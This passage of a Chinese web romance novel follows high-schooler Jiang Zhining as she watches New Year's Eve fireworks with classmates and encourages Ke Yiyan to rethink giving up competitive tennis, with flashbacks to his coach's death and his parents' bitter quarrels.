柯绍之唇角微牵，笑了笑：“回国没多久，译衍就和卉芸说了回归学业不再打网球的决定。” 姜颖：“你姐同意啊？” 他点头：“你之前说过，译衍不是会轻易放弃的人，他向来独立，能做出这个决定，说明已经想得很清楚了，从去年开始，译衍身上发生了太多糟糕事，不能强求他。” “况且，我们家并没有非得成为职业球员的想法，当初我送译衍去学网球，只是为了锻炼身体，不管他未来走哪条路，我们都会尊重支持。” 姜颖长长叹了口气，发自内心感慨：“遭罪，译衍真的是遭罪！这么优秀的小孩，要是出生在我们家就好了，我们家不缺爱，也没这些乱七八糟的事。” “发生墨尔本的事情就是这些。”柯绍之对姜织宁说。 姜织宁点了点头，唏嘘不已，她没想到会牵扯出背后这么多事，也很意外柯叔叔毫无保留，全都告诉了她。 她喝完最后一口牛奶，放下杯子，试着问：“柯叔叔，如果，我是说如果啊” 柯绍之：“嗯，你说。” “如果柯译衍哪天想重回赛场了，你们会支持吗？” “当然会。”他扬唇笑起来，调侃道，“无非就是EQUA少了位接班人而已。” “啊？”姜织宁面露迷茫。 姜颖翻了个白眼，满脸嫌弃吐槽道：“柯绍之你在搞笑吗？人译衍答应接手EQUA了？自作多情。” 柯绍之笑而不语，目光挪到姜织宁脸上，温声问：“关于译衍，你还有什么想了解的？” “没有了，没有了，”姜织宁回过神，连忙摆手，“就是问问网球方面的事。” 柯绍之意味深长瞥了眼姜颖。 姜颖一脸莫名其妙，看她干什么？这眼神什么意思啊？ 柯绍之耐人寻味地说：“看样子，宁宁很关心我们家译衍啊。” 姜还是老的辣。 到底是过来人，晚饭那会儿，柯绍之一眼看穿柯译衍对姜织宁的心思。 少年的喜欢，藏不住。 姜织宁没听出什么来，单纯回答：“我们是朋友嘛。” 三人离开，店主收拾起餐具，准备打烊。 回家的路上静悄悄，簌簌冷风穿过柏木，窸窣作响。 姜织宁一路安静，见状，姜颖笑了笑，抬手揽过她肩膀，顺势问：“担心译衍啊？” 姜织宁叹了口气，坦诚说，“就……有点怕他和我之前的状态一样，封闭自我，放弃自我。” 姜颖沉默。 明白侄女说的是哥嫂去世的那段时间。 家中白发人送黑发人，侄女一度被刺激得患上失语症，不管是对她，对父母，还是对姜织宁来说，那都是一段打击巨大，特别艰难的灰暗时光。 庆幸的是，她们都很坚强，都很勇敢，并没有被命运压倒，最终互相扶持着走出了阴霾。 姜颖面露笑容，收紧手臂挨着姜织宁，温柔安慰：“怎么会呢，一切都会过去的，别想太多啊，我很看好译衍。” 第77章 你们这对青梅竹马人尽皆知 12月31日, 新年前最后一天。 姜织宁仍然没有懒觉可睡，她早早起床收拾好，拎上装着演出服的大袋子, 素面朝天，出门坐地铁去音暴舞房。 临出门前, 她特意戴上柯译衍送她的粉色针织帽。 上午在舞房彩排，中午时间紧张, 便一起跟着吃外卖，随后迅速换好演出服, 等待化妆师做造型。 舞团全员准备好后, 一起出发赶往演出地。 演出地点在某个热闹商圈里的中央广场上, 文旅官方组织的跨年表演活动，下午舞蹈演出, 晚上则请了交响乐团过来上演新年演奏会。 旁晚时分，姜织宁顺利结束表演, 不过比预定的结束时间稍微晚了点。 她一边听姑姑电话，一边和舞团的人互道新年快乐告别, 她拎起袋子，快步走向马路对面的商场, 爷爷奶奶已经在餐厅等着了。 原本新年前的最后一顿晚餐是在家里吃, 姜颖知道姜织宁晚上要和同学一起去看烟花, 考虑到侄女赶来赶去不方便, 便在附近商场订下位置，将父母接过来吃饭。 创意焰火秀于晚上九点左右开始, 周静瑶拉的跨年微信群从上午就开始消息不断, 晚饭这会儿更是热闹得不行。 更夸张的是，有人往群里甩了张照片, 说已经到了看焰火的地方。 一个小时后，周静瑶给姜织宁发来汇合信息，姜织宁迅速拿着手机站起来，和家人打了声招呼，推开包厢门，跑向商场电梯。 商场大门口，于佳率先瞄见姜织宁身影，立马举手挥舞：“宁王！这里这里！” 姜织宁走过来，于佳被她一身打扮惊艳到，瞪大眼夸道：“哇塞！宁王你今天也太漂亮了吧！简直星光四射啊！” 姜织宁笑：“化妆了，下午在这边有演出。” “好看好看！那我们走吧，这会儿过去时间差不多，班长他们太离谱了，居然这么早就跑过去。” “走过去吗？” 周静瑶早就做好攻略，放下手机说：“对，没法打车，到处交通管制，那条路车开不进去。” 姜织宁点头：“那走吧。” 为了庆祝新年，整座城市华灯璀璨，高楼大厦鳞次栉比，辉煌耀眼，宛如一座座纸醉金迷的梦幻城堡。 少女们冲进绚丽灯火，手牵手灵活穿梭于拥挤人海中，在皎洁月色下踩着影子大笑奔跑。 姜织宁喘着气，站在台阶上环顾四周，打心眼里佩服周静瑶。 不得不说，她找的位置太妙了。 周静瑶并没有选择在江边人挤人看烟花，而是一路走到江边附近，带她们爬了一段通往景区门票售卖处的上坡路，最终停留在一条长长的石阶上。 这条石阶路又宽又长，两侧高耸茂密的行道树包裹着金色灯带，灯带从粗壮的树干处起始，四面八方蔓延至树枝，此时，灯光全部点亮，流光溢彩，氛围感十足。 站在石阶路底部，自下而上望去，仿佛电影里主人公牵手走过的金色浪漫阶梯。 路很长，所以空位很多，不少人席地而坐，欢声笑语着，都是来看烟花的。 先到的人早已占据最佳观赏区，班长站在台阶高处，冲姜织宁她们招手示意。 姜织宁一步步爬上去，扫了眼到场的人，问：“柯译衍还没来吗？” 班长摇头：“衍神俞杨还在路上，刚才说快到了。” 姜织宁哦了声，正准备原地坐下时，就听班长急喊了声：“宁王！宁王！” “啊？” “你的位子在上面，给你们双A组留了专属座位，上面视野更好。” “哦，谢了啊。”姜织宁看向周静瑶，询问，“周导，你要不要坐过来？” “不用。”周静瑶摆手拒绝，大大咧咧说，“我是移动机位，我要拍照的。” “行。” 八点半，距离焰火秀还有半个小时。 姜织宁闲聊了会儿，然后低头刷了几分钟手机，忽然间，旁边落下一道黑色修长人影。 她抬头望去，柯译衍恰好垂眸，同她对视一眼，敞开腿坐下来。 姜织宁收起手机，笑看着他：“来了啊。” 他嗯了声，目光落到她头上那顶粉色针织帽上。 姜织宁笑眯眯说：“就是你送的圣诞礼物。” 柯译衍悠悠弯唇：“知道，冷吗？” “还好，我带了暖宝宝。” 俞杨双手叉腰站在下方台阶上，歪头看着正在调整相机参数的周静瑶，神情纳闷问：“周导啊，咱们没来错地方吧？我这一路走上来，心里有点慌啊，这是给我干哪儿来了？大晚上的，我可不敢上山啊，嘤嘤嘤，害怕！” 话音落下，众人拍腿狂笑。 神特么嘤嘤嘤！ 周静瑶笑骂：“你都快一米九了好吗！长这么高，有什么好怕的？！” 俞杨嘤了声：“那我就是怕啊，你不知道吗，我胆特小。” 周静瑶：“就这儿！” 俞杨一脸怀疑：“确定这里能看到烟花？我看很多人都往江边走哎。” “废话，当然能！”周静瑶瞪他一眼，“你要是想体验饺子下锅是什么感觉，那你也随波逐流去江边得了！” 于佳笑得肚子痛，她捂住肚子，反复深呼吸，气息勉强平稳下来，对俞杨说：“你就放心吧，底下江边那群人都能看到烟花，那我们这个位置就更能看到了，这里海拔高呀，我们早就做过攻略了，计算过角度。” 姜织宁补充一句：“这可是外拍经验特别丰富的周导，她对江洲市的大街小巷了如指掌。” “哎俞杨，看过死亡诗社没？”班长仰头笑嘻嘻问。 “看过啊！”俞杨冲他立正站定，严肃道，“咋说？Captain! My Captain！” “咳咳很好很好，船员请坐下。 ”班长一脸满意，挥手示意道，“就和死亡诗社里一样啊，随波逐流去江边有什么意思嘛，这儿！就是周导精心为我们找到的秘密基地！” 俞杨恍然大悟哦了声，双手竖起大拇指，献上彩虹屁：“周导威武！周导牛逼！” 班长拍拍屁股，站起来说：“上面有家饮品店，我请客，等会儿想喝什么迅速报群里啊。” 众人“wow！”了声，纷纷感谢：“谢谢班长请客！” 俞杨顺势起身：“我也去看看。” 很快，两人拎着饮料回来，俞杨还特意去旁边小超市买了几盒仙女棒。 “哇，俞杨你还买了仙女棒啊！” “对啊，上道不？有氛围感不？” “上道上道！上道死了！” “每人一盒啊，不够我再去买！哦对了，我还买了泡泡机，你们谁想玩？” “哈哈哈！道具这么多吗，我想玩！” 班长耐心分发着饮料，走到姜织宁这边时，歪头想了几秒，结果没想起来，便问：“宁王你点的什么来着？” “热巧克力。”柯译衍起身帮她拿。 班长顿了下：“哎？确定是热巧克力吗？我怎么记得是冷饮啊，可可什么焦糖沙冰？名字老长那个。” 俞杨作为全场唯一内幕知情人，立马“哎哟！哎哟！”两声，斜眼瞄着柯译衍，面部表情宛如突发恶疾，意味深长说：“衍神自作主张给宁王换掉了，说那个太冰，她喝不了。” “哦哦哦，我给忘了！” 姜织宁正和周静瑶热聊，没注意到这边动静，柯译衍从班长手里接过热巧克力，目光锋利瞥了眼俞杨，满是警告。 俞杨嬉皮笑脸，身体扭成麻花状。 “那这杯可可沙冰是谁的？”班长纳闷说。 “我的。”于佳走过来。 于佳不愧是追星少女，自带八百倍显微镜的嗑学家，她一听俞杨那话，立刻敏锐察觉出其中必有猫腻。 说起来，双A组这个CP名就是起源于她嘴里。 周围同学都认为双A组是朋友关系，纯友谊，但于佳不这么想，她心里的想法尤其多，只是嘴上不怎么说而已，在她这种CP粉眼里，双A组的嗑点不要太多。 于佳捧着饮料挪到俞杨身边，笑眯眯问：“俞杨你坐哪啊？” “那边。”俞杨指了个位置。 “哦，等下问你点事啊。” 女生们扎堆闲聊着，过了会儿，周静瑶提醒焰火秀快要开始，众人迅速结束话题，各回各位坐下。 姜织宁轻快小跑上来，在柯译衍身边坐下，顺势接过他递过来的热巧克力，双手捂着。 “好暖和啊。” 其实白天气温并不低，最高有二十度，只不过昼夜温差大，一到晚上，便降至了十度左右，何况他们在山里，山里的温度会更低几度，就这么干坐着，确实有点冷。 柯译衍哼笑瞥她一眼，慢条斯理地问：“最开始点沙冰是怎么想的？” “啊，大概是提前猜到某位靠谱朋友会帮忙换成热饮吧。”她歪头看他，眉眼弯弯打趣说，“怎么样，我这预知能力是不是很厉害？” 啧，她这话回的，一语双关啊，又是夸他又是夸自己。 柯译衍佩服叹了口气，懒懒说：“嗯，了不起。” 姜织宁笑容更深，正要接话时—— 砰！砰！砰！ 头顶突然响起连声巨响。 两人同时仰头望去。 数不清的绚丽烟花在眼前密集绽放，黑夜被撕破，瞬间被浸染成色彩斑斓的魔法颜色。 这里海拔高，视野完全没有遮挡，漫天烟火仿佛触手可及，特别撼动人心。 兴奋尖叫声、惊呼声在耳边此起彼伏，热烈沸腾，听得人耳热心热。 “牛啊周导！这位置真心太牛了！” “啊啊啊啊！烟花太美了啊！！！” “快拍照！记得拍照！” 再过三个小时就是新的一年，也不知道是谁起了个头，等不及零点告别过去，按耐不住激动站起来，气沉丹田，双手放至唇边，冲着焰火大吼—— “新年你好，旧年滚蛋！再也不见！！！” 山里有回音，回肠荡气的吼声在耳边余音缭绕，周围不少人发出善意的笑声。 被热烈氛围感染着，很快有人跟随效仿。 “新的一年，老娘要升职！！！加薪！！！” “明年事业有成！渣男退退退！” “我要考研顺利！父母身体健康！新年一切顺意！” “我要许愿——世界和平！” “我想发财暴富！！！” “我要做一名红到发紫的漫画家！” “我许愿！对家速速塌房，我担代言作品不断，晋升顶流！” “保佑我顺利抢到匡也的演唱会门票！！！” 五花八门、新奇古怪的新年愿望不断呐喊出来。 这惊天动地的气势，姜织宁简直怀疑，底下挤在江边看烟花的那群人会不会觉得山上在闹鬼。 少年少女们受到鼓舞，纷纷你看我我看你，跃跃欲试。 班长第一个自信放光芒，起身高喊：“我许愿！期末考试拿下年级第一！！！” 旁边路人一听，纷纷扭头望过来，调侃说：“年级第一？看来是学霸呀。” 周静瑶忙着拍照录视频，身心被这热血气氛一刺激，随即放下相机，趁势大喊了声：“我一定会成为家喻户晓的导演！” 姜织宁和柯译衍一样，从头到尾安静欣赏着烟花，偶尔拍几张照，并没有许愿。 听到周静瑶突然来了这么一句，姜织宁兴致勃勃把手放到唇边，扬声为她鼓劲：“周导加油啊！你一定可以的！！！” 烟花放了二十分钟左右，星光逐渐消失，宛如魔法书合拢，天空被黑色覆盖，重新归于沉静。 姜织宁咦了声，奇怪嘀咕：“这么快就结束了？不是说创意焰火秀吗，有什么七彩祥云瀑布、彩云追月，怎么没看到啊？” “什么七彩祥云？”柯译衍拿起手机，打算瞄一眼活动攻略。 两人说话时，正好一对夫妇从底下走上来买饮料，妻子听见姜织宁嘀咕，热心肠解释：“七彩祥云应该是压轴，这会儿估计要表演无人机，等无人机结束，还会放烟花的。” 姜织宁会意哦了声，笑盈盈道谢。 柯译衍放下手机，手肘撑着大腿，偏头看向姜织宁，闲聊问：“怎么不许愿？” “新年愿望吗？” “嗯。” 她抿唇笑起来，想了想说：“感觉我好像没有什么很长远，或者特别宏大热血的愿望吧。” “非要宏大热血么？”柯译衍不太理解，说，“刚不是有人许愿抢到演唱会门票，这不挺普通的。” 姜织宁哦了声：“有点道理，那就希望我身体健康吧，这个比较迫切，算得上愿望么？” 毕竟偶尔的头痛和失眠确实让她心烦不已。 柯译衍勾唇笑起来：“当然算，为什么不算？知道多少人特意去寺庙许愿身体健康么，听着普通罢了，对于有些人来说也不容易实现，早睡早起啊姜织宁。” “好～”她悠悠拖着嗓音，说了声知道。 “其实”姜织宁放下奶茶，突然说，“有时候，我挺羡慕周围一些朋友。” 柯译衍：“嗯？羡慕谁？” 她翘起唇角，坦然道：“你啊。” “羡慕我？”他略意外地挑了挑眉，没想到她会这么说。 姜织宁嗯了声，补充讲：“还有周导、蔡总那群人吧。” 柯译衍：“为什么羡慕？” 她轻叹了口气：“你们这几位朋友都很酷啊，拥有各自的热爱，拥有坚定不移的大梦想，我和周导、蔡总他们，有个叫疯人联盟的好友群。” 柯译衍唇角微挑，闲闲夸了句：“疯人联盟，这名挺酷。” “是吧。”她笑道，“不仅群名酷，群里的人也很酷，是一帮很有个性，特立独行，叛逆疯狂，精神状态美丽前卫的麻烦制造者，所以才高票通过这个群名。” “难怪被人叫宁王。”柯译衍调侃一句，绕回话题，“这么说的话你也是其中之一，干嘛羡慕朋友？” 姜织宁双腿合拢，上半身微微前倾，手肘支着腿，左手慵懒拖住下巴，歪头看向他。 “虽然是疯狂叛逆的麻烦制造者，但不要误会，其实大家内心都挺成熟的，只是在热爱和梦想方面特立独行而已。” “我姑姑说，人生漫长，所以拥有热爱是一件无比幸运的事，就像秘密花园，是独属于自己的一方小天地，但是这份幸运不会眷顾每一个人，这个世界上，大部分人都是按部就班，一辈子也无法遇见热爱。” 她举例说：“比如周导吧，家人从事教育行业，所以父母希望她以后成为一名园丁，但是周导特别抗拒，一直有个导演梦，天天相机不离手，堪称自学成才，很厉害。” 柯译衍会意问：“她家里不同意她做导演？” 姜织宁摇头：“不同意，特别反对。不过没用的，依我对周导的了解，她绝对不会放弃，还有蔡总，这家伙更绝” 她怕柯译衍听不懂，特意解释一嘴：“蔡总比我们高一届，休学之前我和他一个班” “知道。”柯译衍转头望向在空中表演的无人机，淡声打断她。 “啊？”姜织宁有丝意外，惊讶说，“你知道蔡总？这家伙这么有名吗？” 柯译衍脸色平静嗯了声，心说，不是蔡从有名。 而是，你们这对青梅竹马人尽皆知。 第78章 我的愿望是你 浓浓夜色掩藏住少年心事。 姜织宁一时没察觉到柯译衍突然异常的情绪, 接着顾自说：“我们家蔡总就更绝了，他这个人呢，最喜欢打游戏, 一直梦想成为电竞职业选手，但他父母不同意, 瞧不上电竞，早早全方位把这条路给他堵死。” “所以, 蔡总想了招曲线救国。”她忍不住佩服笑道，“他打算跑去国外读大学, 上学期间摇人成立游戏工作室。这不就是——不让我做电竞选手？好, 那我自己做游戏, 看你们能怎么办。哇，蔡总的魄力和决心, 简直给我惊呆了。” 柯译衍被她的语气逗笑，勾唇笑了笑。 他能理解姜织宁言语中的佩服之情, 十几岁的少年，就有这样明确长远的目标规划, 实话实说，确实值得称赞。 当然, 姜织宁也没忘记夸奖柯译衍。 她眉眼弯弯注视着少年, 说：“你也很酷很厉害啊, 网球打得这么好, 年少成名，16岁就拿下两个大满贯青少年冠军, 俞杨和我说, 网球选手毕生最大的梦想就是四大满贯。” “其实” 柯译衍眼眸微垂，欲言又止。 其实, 网球、热爱、梦想这些东西对他而言，已经是过去式。 可是，自从校网球联赛之后，有些情绪，有些想法，又在他脑子里一点点缓慢的改变。 如今，他被两股力量不断拉扯着，导致他没办法像当初那样，决绝地说出放弃。 沉默半响，柯译衍无声叹了口气，实在不知道该怎么开口，干脆避而不谈，把话题抛回去：“你羡慕的是这些？” 姜织宁坦诚点头：“怎么讲呢，我认真思考过好几次，发现目前我确实没有那种为之放手一搏，坚定不移的大梦想，只有普通小目标，纯属于走一步看一步，所以才会偶尔羡慕你们。” 青春这段旅途里，少年人总会产生“我想成为什么样的人？我以后应该走哪条路？”的迷茫和彷徨。 柯译衍琢磨了下，建议道：“有没有考虑过演员这条路？” 并不是随口一提的建议。 江洲市有挺多影视娱乐公司，一方面考虑到姜织宁有过童星经历，另一方面，他知道不少娱乐公司主动找上姜织宁谈签约。 之前周静瑶和他说过，姜织宁是因为父母去世才退圈，那么对于姜织宁来说，这算不算是一种遗憾？ “演员吗？”姜织宁摇摇头，“没考虑过，我不会参加艺考。” 柯译衍偏头看她一眼，脸上神色有点不太相信。 默契猜到他在想什么，她顿时笑起来，语气轻松地说：“别想歪了啊，和过去那件事没关系，我本来就没有这方面的想法。” 柯译衍挑眉笑道：“是吗？” 她嗯了声，双手环住膝盖，大大方方，毫无保留地分享起往事。 “小时候拍上广告纯属偶然，大家都以为我是四岁那年拍明力牛奶广告出道，姑姑说，其实我两岁那会儿还拍过一个公益广告。” 两岁，这不就是婴幼儿时期吗。 “这广告现在能看吗？”柯译衍好奇问。 姜织宁摇头：“别想了啊，看不了。当时负责制片工作的阿姨是我妈妈好朋友，拍摄那天，原先参演的小朋友一直在哭，无法配合拍摄，怎么也哄不好，阿姨急得不行，正好我妈妈抱着我在现场，阿姨就让我上场试试，就这样拍了人生中的第一条广告。” 柯译衍：“误打误撞。” 姜织宁笑着点头：“对，不过最后没播出来，项目夭折了。当时这位阿姨一直在做制片工作，我后来拍的几条广告都是她发出的邀请。” “那时候我年纪太小了，完全没有工作的想法，单纯觉得片场好玩，现场有很多机器，很多工作人员围着我转，就和上台唱歌跳舞一样，有种新鲜感在吧。” “后来演戏也是一样，《记忆》那部电影，也是觉得新鲜好玩。很搞笑的是，我在里面演了个很悲情很文静的角色，最后生病去世了，结果阿姨说我在片场精力充沛，人特别活泼，上戏配合哭，一下戏就笑个不停。” 柯译衍唇角微挑，想象了下画面，悠悠评价：“那你还挺逗，反差这么大。” 姜织宁笑着承认：“对啊，姑姑说我小时候特别逗，镜头前后反差可大了，后来十岁那年，父母去世，我就退圈了。演员这条路呢，我认真考虑过很多次，确实没有遗憾，也没有捡起老本行的想法，姑姑说我属于体验派，体验过就行了，我觉得她说得对，我确实是个体验派。” 这回柯译衍信了，会意点了点头，表示理解。 “你会觉得我的想法奇怪吗？”她突然问。 “为什么会奇怪？”柯译衍困惑反问，这不是很正常么。 姜织宁叹了口气：“可能，我周围存在很多不理解的声音吧，这些声音把我架在高处，他们总是认为——” “你可是姜织宁哎，天生就应该吃演员这碗饭啊！” 她变换音调，惟妙惟肖模仿说。 柯译衍不由笑起来，摇摇头，不认同说：“乔布斯不是说过么，许多人想找回生活的意义，所以有人宁愿当诗人也不愿意去做银行家。想什么呢，人生本就有无数种可能。” “嗯，好有道理，那你呢？”姜织宁好奇反问，“你怎么也没许愿啊？” 脸上笑容迅速褪去，柯译衍沉默不语。 气氛骤然安静。 姜织宁眼睛一眨不眨地望着他，目光明亮，放佛盛满了星星，照耀进人心里。 静默数秒，柯译衍平静开口：“没这个必要。” “啊？”她愣了下，不是没有，而是没这个必要，她纳闷追问，“为什么？因为实现不了？” 他意味不明地深深瞥她一眼，收回视线，淡声说：“也许吧。” 因为，我的愿望是你。 姜织宁察觉到他的情绪突然冷淡下来，想了想，小心翼翼试探问：“愿望是关于你自己的？” 柯译衍望着黑夜，低嗯了声。 他这副沉寂状态，让姜织宁下意识想起了昨晚柯叔叔说的那些话，她想当然的以为，实现不了，指的是网球。 青春期里的少年少女，总喜欢用一腔孤勇对抗整个世界。 意气之后，难免会留下种种遗憾。 姜织宁一直觉得，属于成年人的释怀、落寞、孤寂、沉湎这些叫人意难平的字眼，不应该出现在柯译衍身上。 正值青春年华，拥有大梦想的少年，本应热血沸腾，本应意气风发。 即使失败，也应该堂堂正正站在赛场上失败。 而不是，被不应该由他来承受的命运击倒。 都说热爱会让人闪闪发光，这种光，她在周静瑶身上看到了，在蔡从身上看到了，也在柯译衍身上看到了。 知道柯译衍的成绩闪瞎眼，也知道他未来有无限可能，但她始终觉得，站在网球场上的少年锋芒毕露，最为耀眼。 从去年开始，柯译衍经历了太多人生变故，至今身处困境，不知道什么时候才能彻底走出阴霾，他本应该是被人羡慕，被称为别人家小孩的优秀少年。 姜织宁由衷的希望，柯译衍能够拥有璀璨无憾的人生。 空中的无人机表演接近尾声，姜织宁脑海里酝酿了很多措辞，谨慎思考该怎么样开口，才显得更委婉，更合适。 结果想着想着，思绪却不自觉乱成一团，她被自己无语到，最后索性将乱麻全部抛至脑后。 果然，她更适合打直球。 “柯译衍。”姜织宁冷静喊了声。 柯译衍侧目：“嗯？” 她问：“以后，还打网球吗？” 他愣了下，没听明白她意思，答非所问说：“昨天不就打了？你别告诉我忘了啊，那你这记性挺吓人。” 姜织宁叹气：“不是这种。” “那是哪种？”他目光困惑。 她深呼吸，直白说：“参加专业网球比赛，我听说，你之前有转职业球员的想法。” 柯译衍沉默了下，目无情绪反问：“听谁说的？” 姜织宁：“就不重要的路人。” 什么路人，其实不用她说他就能猜到，绝对是俞杨多嘴透露。 难怪那天在病房里这两人行为鬼鬼祟祟，特别是看到他进来后，那表情就跟一个模子里刻出来似的，心虚得不行。 “俞杨是吧？”柯译衍冷淡斜她一眼。 姜织宁好声好气：“唉这不是重点啦。” 柯译衍冷哼：“难怪，非让我去买桑葚。” “” 行，你福尔摩斯了不起。 姜织宁一言不发凝视他几秒，破罐子破摔，不带喘一口气，面无表情质问：“怎么了？不行吗？你不也找周导了解我的过去吗？我就不介意，你还有什么想知道的？你问，我全部告诉你，绝对毫无保留。” 柯译衍：“” 无语的同时，他在心里冷笑，心说，俞杨这朋友可以丢了。 明明都是好友，周静瑶就知道和姜织宁通气，怎么到了俞杨这儿，这戏精就胳膊肘朝外拐，死也不和他说一声？ 服了，又不会把他怎么样，最多打几顿啊。 心累，绝交得了，正好最近看俞杨很烦。 突然间，魔法扫帚自下而上划过天空，在黑夜中留下一道闪烁的星光尾巴。 “砰！砰！砰！” 火光四射，新一轮焰火秀开始。 柯译衍开口说了句话，周围惊呼声不断，姜织宁没听清，立马朝他坐近：“什么？” 她靠过来，彼此膝盖倏地紧挨在一块儿。 柯译衍垂眸瞥了眼，此刻没心情计较这些有的没的，自我放弃心想，随便吧。 他叹气重复刚才的话：“我说，没这个意思。” 姜织宁哦了声，耐心解释：“你也别怪俞杨，是我主动问他的，他最开始也不愿说，就怕说了后见不到明天太阳，是我非要追问到底，他才愿意告诉我，反正你别找他麻烦。” 柯译衍双臂懒散环至胸前，冷冷哼笑了声。 其实吧，俞杨说了也没事，他现在的心态和年初刚回国那时候比起来，多少有点不一样了。 也不知道怎么搞的，反正，他现在不像曾经那样厌恶网球，也不怎么排斥了。 偶尔，他静静注视着网球拍，思绪的某个瞬间，会突然不合时宜的蹦出“当初决定是不是太意气用事”的奇怪念头。 但是，一码归一码，俞杨不仅对外透露他的过去，还故意隐瞒他，那就很有事，让他很不爽。 明天太阳？ 放心，不会让俞杨看到的，这戏精死期已到。 “听见没？”看柯译衍没反应，姜织宁蹙眉拍他一下，警告说，“别找俞杨麻烦啊，否则我就找你麻烦。” “”柯译衍慢吞吞嗯了声，“怎么想到问这个？” 姜织宁实话实说：“意外吧，之前在网上意外刷到你家粉丝的言论，发现有些事情和我想的不太一样，我又不太懂网球，索性就去问俞杨。” “粉丝？”柯译衍眼中充满困惑，“什么东西？” “就后援会啊，你不是有个后援会吗？” “后援会？谁的？” “” 柯译衍想了好半天，总算反应过来后援会是什么东西。 之前俞杨和他提过一嘴，说有些网球迷自发组建了个后援会，他拿俞杨手机瞄过两眼，毫无兴趣，转眼就忘了。 他没网瘾，从来不上网看这些有的没的，连公开社交账号都没有，这些都是转为职业球员之后才会考虑的事。 眼前漫天烟火，耳边喧嚣一片，姜织宁微微扬声，扭头对柯译衍说：“我之前看过一个户外广告，上面有句话，我觉得说得挺对。” 柯译衍：“什么？” “那句话说——仅有一次的人生，我绝不妥协。” 她眼神柔和望着他侧脸，期盼说：“柯译衍，如果不是因为比赛失利而放弃网球，那么曾经的热爱和梦想，你要不要再考虑一下？” 她怕他误会，紧跟着补充：“当然，我不是劝你一定要继续打网球的意思，你刚才不是说过吗，人生本就有很多种可能，比如我吧，放弃演员这条路确实心甘情愿，没有任何遗憾，因为我骨子里就是个体验派。” “听说运动员有黄金年龄的说法，我们现在还很年轻，处于最好的年纪，我只是想告诉你，不为了任何人，就为了你自己，以你的立场好好想一想，是不是心甘情愿放弃网球？有没有一丝丝不甘心？” 姜织宁觉得，无论什么原因，失败并不可耻，更重要的是，重新出发。 第79章 你是不是对我有想法？ 是不是心甘情愿放弃网球？ 有没有一丝丝不甘心？ 柯译衍下巴微抬, 出神注视着漫天烟火。 曾经的热爱和梦想？ 扪心自问，他从未忘记。 其实并不是多么久远的事，以至于每每回想起来, 仿佛就发生在昨日。 很多瞬间，历历在目。 去年年中, 他接连横扫法网、温网两座青少年赛冠军，一度踌躇满志, 意气风发。 赛后，教练Peter兴奋落泪抱住他, 对他说了很多赞赏鼓励的话。 彼此都知道, 球场上日以继夜的努力、汗水、心血全都没有白费, 他们一路携手走来，共同解开心结, 克服无数困难，是最好的搭档。 那时候, 就连柯译衍自己都认为，未来光明, 前程似锦。 很可惜，幸运并没有眷顾他太久。 温网青少年赛过去没多久, Peter意外去世, 突如其来的变故令他措手不及, 情绪跌到谷底, 整个人状态随之滑落。 他亲生母亲柯卉芸因为婚姻失败，刻意冷落他十多年, 后来, 她一直在想办法弥补这份脆弱亲情，他曾经冷漠抗拒过, 也试图解开心结接受过。 正因为想要走出过去的阴霾，想要继续往前走，他才主动接受了母亲推荐过来的新教练。 年初澳网青少年赛，他意外遭遇车祸追尾，小腿受伤，比赛时疼痛难忍，导致他最后爆冷出局。 住院期间，父母在医院里彻底撕破脸皮，从拿着为他好的名义开始，再到昔日不堪的婚姻，彼此互相指责，发泄多年怨气，大吵一架。 直到这时，他才彻底明白，原来新教练背后牵扯了数不尽的阴谋算计，可笑至极。 父母口无遮拦的争吵里，他分不清究竟谁对谁错，谁在欺骗，谁是真心。 他甚至觉得，这两人就是一伙的。 都是阴谋家。 一月份的墨尔本正值夏季，那天是个艳阳天，蝉鸣如雨，明亮阳光热烈到刺眼。 他面无表情坐在医院长椅上，心脏感受不到任何温度。 他不知道，这把名为父母的尖刀，到底要捅向心脏多少次，他到底还要受伤多少次，才会彻底结束。 生父时征想接他回时家，柯卉芸坚决不同意，两人为了这件事，吵得很厉害。 面对前夫的冷言嘲讽，柯卉芸气急上头，口不择言怒吼： “好啊，有本事你自己去问译衍啊！只要译衍点头，我柯卉芸绝不阻拦，以后就当没生过这个儿子！” “随便你带到哪里去，我绝不后悔！” “哼，我开心还来不及呢，求之不得啊！我早就有自己的新生活了！” 看，他又要经历离别，又要独自一人了。 虽然早已习惯无父无母的独立生活，可让他亲耳听到这些冷血话，心里不免还是产生了几分失望和难过。 关于他的一切，真是可笑啊，简直烂透了 不久后，他被医生准许出院休养。 那段时间，他脑子里很乱，思绪烦闷彷徨，情绪差得不行，很熟悉的糟糕状态，整个人仿佛倒退回小时候。 又是一个艳阳天，他果断约上朋友去网球场，想借此发泄喘口气，由于小腿还处于恢复期，没办法正常速度移动，朋友便改用喂球的方式帮他训练。 球没打多久，时征不请自来，男人带着助理走进球场，手上拎着球包。 助理将朋友请到球场休息区回避，时征从包里挑了把网球拍，步伐轻松走到他面前，笑着邀请他打一场球。 他冷眼盯着生父脸上无比虚伪的笑容，只觉得丑陋和恶心。 没兴趣陪男人玩什么父子情深的无聊把戏，不关心男人突然找上门干吗，他面无表情转身就走，一个字都不愿说。 时征当场被拂面子，笑容迅速隐去，快走几步拦住他，说要聊聊。 他不耐烦甩开男人按在肩膀上的手，寒脸压着脾气，叫男人别拐弯抹角，有话直说。 时征耐心有限，装风度笑了笑，很快露出真面目。 瞧不上教练Peter的执教水平。 嘲讽前妻柯卉芸愚蠢糊涂，对网球一窍不通。 指责柯家没眼光耽误事，不懂如何培养天才 时征全程一副高高在上，世界主宰者的傲慢姿态，语气轻蔑不屑，鄙夷否定着他周围所有人事物。 之后，男人试图和他谈前程、谈资源、谈利益 从头到尾，没有一句真情实感的关心。 荒谬！可笑！ 简直浪费时间！ “这些话，你是站在什么立场说的？” 他听不下去了，冷漠质问时征。 男人愣住，答不上来。 活到这个岁数，时征从未尽过父亲的责任，一分一秒都没有。 他厌烦收回目光，转身要走，时征再度拦住他。 那一瞬间，心冷到了极点，积压许久的怒气猛地冲到顶峰。 所有一切，全都烂透了！ 他猛然抬手，把手中的网球拍狠狠砸向地面！ 一下！两下！三下！ 那把珍视的，陪伴他拿下数座网球比赛冠军的战拍瞬间弯折成九十度。 彻底报废。 他面无表情直起身，把砸烂的球拍扔到时征脚边，嗓音毫无温度撂下一句：“这个球，我也不是非打不可。” 网球，比赛，全都没劲透了。 打击接種而至，心脏被伤得千疮百孔。 他没了目标，失去方向，丧失心气，脑子乱成一团雾。 心灰意冷到极点，找不到任何意义。 就这样吧，认输，接受失败，接受命运，一切回归原点。 摒弃狗屁梦想。 摒弃可笑誓言。 摒弃没意义的荣耀。 摒弃那个日日夜夜努力的自己。 他亲手关上那扇通往热爱的大门，决绝转身离去，开始自我放逐。 